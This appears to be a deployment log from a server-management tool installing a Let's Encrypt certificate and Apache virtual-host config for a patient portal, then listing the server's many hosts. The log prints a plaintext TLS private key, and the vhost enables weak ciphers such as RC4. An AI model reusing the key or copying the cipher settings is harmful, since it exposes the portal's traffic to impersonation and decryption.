XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-08 06:00:32: Establishing a connection
2025-09-08 06:00:32: Establishing a connection
2025-09-08 06:00:32:
PUT: /tmp/pkp119230
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-08 06:00:32:
chmod 755 /tmp/pkp119230; /tmp/pkp119230; rm /tmp/pkp119230
2025-09-08 06:00:32:
0
2025-09-08 06:00:58: Establishing a connection
2025-09-08 06:00:58:
PUT: /tmp/pkp615610
#!/bin/bash
temp_file=$(mktemp)
TARGET=01414147ca2e2039609db8973ea8b269.crt
cat > $temp_file <<'endmsg'
6c:66:1f:b9:d2:f5:04:1c:34:54:fc:a5:d8:7a:e5:f1
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBvN2MGmu9U6Gzrg40MApIYr5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA4MDUwMjI3WhcNMjUxMjA3MDUwMjI2WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA7K+ewA1jBfEAUKrtaJ9SL8qyRwaffWrG02W4ht2K6tAKmcLLgftU
2M5J6ix6NOGVfFMFU3TVTfGbQEE5x62+DXJPInv8dFnJGwpOwqHy9Nsz4V4ez+rF
FDc/vfIiePu3YUrW4TZjFYnHJNALdEEjqwQ46x4tLuHwoSaXb2yzzCGlSqIc+CZ5
Os399QWJhAGCEsGcGIPMm5c79VyFdaluNQk5tgmpq+LC0IHk1Kb24bOts52vDF0q
MjKe+AGePI8GCLUM/JojbwJ1i6m/oOAFNaGT9hr1aHJjFK8OBvwTC1Xu4aYJSdJQ
ybpCMX/X0LCcSRmTaKqnrg95XxP3VSHeDwIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRVbS66t2W3x1k6qc9uWBq4VcYTEDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2ABoE/0nQVB1Ar/agw7/x
2MRnL07s7iNAaJhrF0Au3Il9AAABmSfpzCQAAAQDAEcwRQIhAKeeiBB+EQmKFMDi
Y6FWGngYSsI9A1BpINInBwM2IH06AiA+GSnPxwqVAB5PITJ1PQdGmey1S2Mmq/rx
NloIpgqkwwB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmSfp
zC8AAAQDAEYwRAIgcLJqtSY9tFjmzp4o6GJrTbUG3cWkhfaR7YJx/0gVMXICIEmO
O17TAiTMhsKvsWSAaItxtmAVoF1ntpmNXPlm6GyDMA0GCSqGSIb3DQEBCwUAA4IB
AQBecJjWqpMG7M91vgp2CyxIghU9bKEvfOZKT7wtF/BgKj2xi6j0SfA2IQhsPFA7
Iwh9WRS3NtVlWdGl3tGn15c4v6igVI13KQpsfU4Nla+/ElIZj6e1/PtPDWwmlgYN
IQrsiRaorlxRo9Iu38rCfxz75pidNegodAOCqv0UXQ/QXzxQC+AVZ6Ti2BpB4Hbn
a8CMkwMtdrpUydQATRU1MFCtSynIolA/ubdbymKISzulcDz4aSYVVJxdaDT6Bpcv
VcOqVM0YV9nt0J1+uNOOXIkfVKzrkxTkSDmarnsJKZQ/ohIw6JdZCiWCvm5Uz06V
forOehYKuHJ7OcxiFNDz32w0
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDsr57ADWMF8QBQ
qu1on1IvyrJHBp99asbTZbiG3Yrq0AqZwsuB+1TYzknqLHo04ZV8UwVTdNVN8ZtA
QTnHrb4Nck8ie/x0WckbCk7CofL02zPhXh7P6sUUNz+98iJ4+7dhStbhNmMVicck
0At0QSOrBDjrHi0u4fChJpdvbLPMIaVKohz4Jnk6zf31BYmEAYISwZwYg8yblzv1
XIV1qW41CTm2Camr4sLQgeTUpvbhs62zna8MXSoyMp74AZ48jwYItQz8miNvAnWL
qb+g4AU1oZP2GvVocmMUrw4G/BMLVe7hpglJ0lDJukIxf9fQsJxJGZNoqqeuD3lf
E/dVId4PAgMBAAECggEBALOoMuYwwyN1ZfnVZNPva2EfiOdk3ZdDf5xjMAgfDh1i
wUkplXQapLLVE0IPdMvDF8cA9Z/9pRO++0twtz0cYpCuXecdGenvZTmDP3l5mIPI
B79fxB+qYuIPdfDmZMhUuUO+nRDiSZ/Fr0YALVGXSE29rL67byyRECgitPw9FNUy
lwETQoGnNbhOVtis+K7eZSGRogWwKvIj79rvkpg65e6NrqJ00qmRFmX+gbyE7z4U
pFc6ZE/TwtjfWposz9SVAd40OJ806HISfYwAct6yQzQnFhqHBp8+tzCmkAI/W1Te
6J3GX/zYqmUWMUxWfza03Vd3b9EZbEgQW0Lyb6i1OfECgYEA/Qz6e7tc/Y3U4XNp
cUFA2D20dwF7eh1+PqszOLdvZ0wrYVZpwsmfpFHNwLuUwF1hA0Hxe0tPJ7aSoh2h
y6rgxPm4Gp6gkVb9Gr4nCWP8msBCm2vJv424vVEutdoLF5b6fniyFKJK/kPhBHX4
D+Sn2r0GXT09k3p7zBIcKmJ4eysCgYEA73HQkx89Rkgjp1qyD9JoIRGLo6B245TR
hRJBr0MH10pBESfFa/tN+kf28xnz7Ip/toR+VPITlatr2YWkFLh/tcmTkfEN1oWu
LlZrKJwwZxSZ9wTfN6d2dQ21wgxRbFGMJRPE1r0eUwnqil285DWVHJdMx7CCXdXK
T9cKYAIq5q0CgYEA4+8E0N777AgNcOYcXD+CwUUTgP580oouZRSglr3kQw+BI7RK
n4Itoj1tL+XHH179O4nykjRLoGH7wrseOe45eDPXeWLZDxFj+uq9DuBZcKstVAHL
QBfQB/dQM82roBwGllTxU1S8aDuMPBBm2SoFaCpLyUCYbncte6v0Ytk/3PECgYAM
/B0VfWIzR4I3dyGk3gIrmOn7q54G5XEfSEgrmvT35dz1czSvkGdAJVrtAAFMWI5o
dXLsZFxPh4ZHu4mUXhT+5LmN9oaLlaBGfwU8pIuza1iWHruEJx6zZlTu+wAHYby5
3gKUqpjUY/tGGaM+tPErJcFSKu5G7GsWPVEgt71f2QKBgFYotPUc95ixSjCAmV6b
AUjyM1EpH2r+aVBcnkB50J21+rT67VNw4UZVQZ+iLD7HRy6DOd2+Pj/T44wqe7F7
gPnQObEws1VND8Jeu0gEcG2dVVbkIZFWUjqdE+bqDnPiK4xDoP51Cl4M/EbZiHcr
IO63NMeiYtbgbPihqsJp49oT
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-08 06:00:58:
chmod 755 /tmp/pkp615610; /tmp/pkp615610; rm /tmp/pkp615610
2025-09-08 06:00:58:
dir=/etc/ssl/certs
2025-09-08 06:00:58:
PUT: /tmp/pkp602436
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_portal_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-08 06:00:58:
chmod 755 /tmp/pkp602436; /tmp/pkp602436; rm /tmp/pkp602436
2025-09-08 06:00:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 46
<VirtualHost *:80>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-08 06:00:58:
PUT: /tmp/pkp697853
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_portal_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_portal_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName portal.patientapps.net
ServerAlias live.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/portal_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/portal_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_portal_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf= 1'
fi
2025-09-08 06:00:58:
chmod 755 /tmp/pkp697853; /tmp/pkp697853; rm /tmp/pkp697853
2025-09-08 06:00:58:
2025-09-08 06:00:58:
PUT: /tmp/pkp311242
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-08 06:00:58:
chmod 755 /tmp/pkp311242; /tmp/pkp311242; rm /tmp/pkp311242
2025-09-08 06:00:58:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-08 06:00:58: Establishing a connection
2025-09-08 06:00:58:
PUT: /tmp/pkp908461
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-08 06:00:59:
chmod 755 /tmp/pkp908461; /tmp/pkp908461; rm /tmp/pkp908461
2025-09-08 06:00:59:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
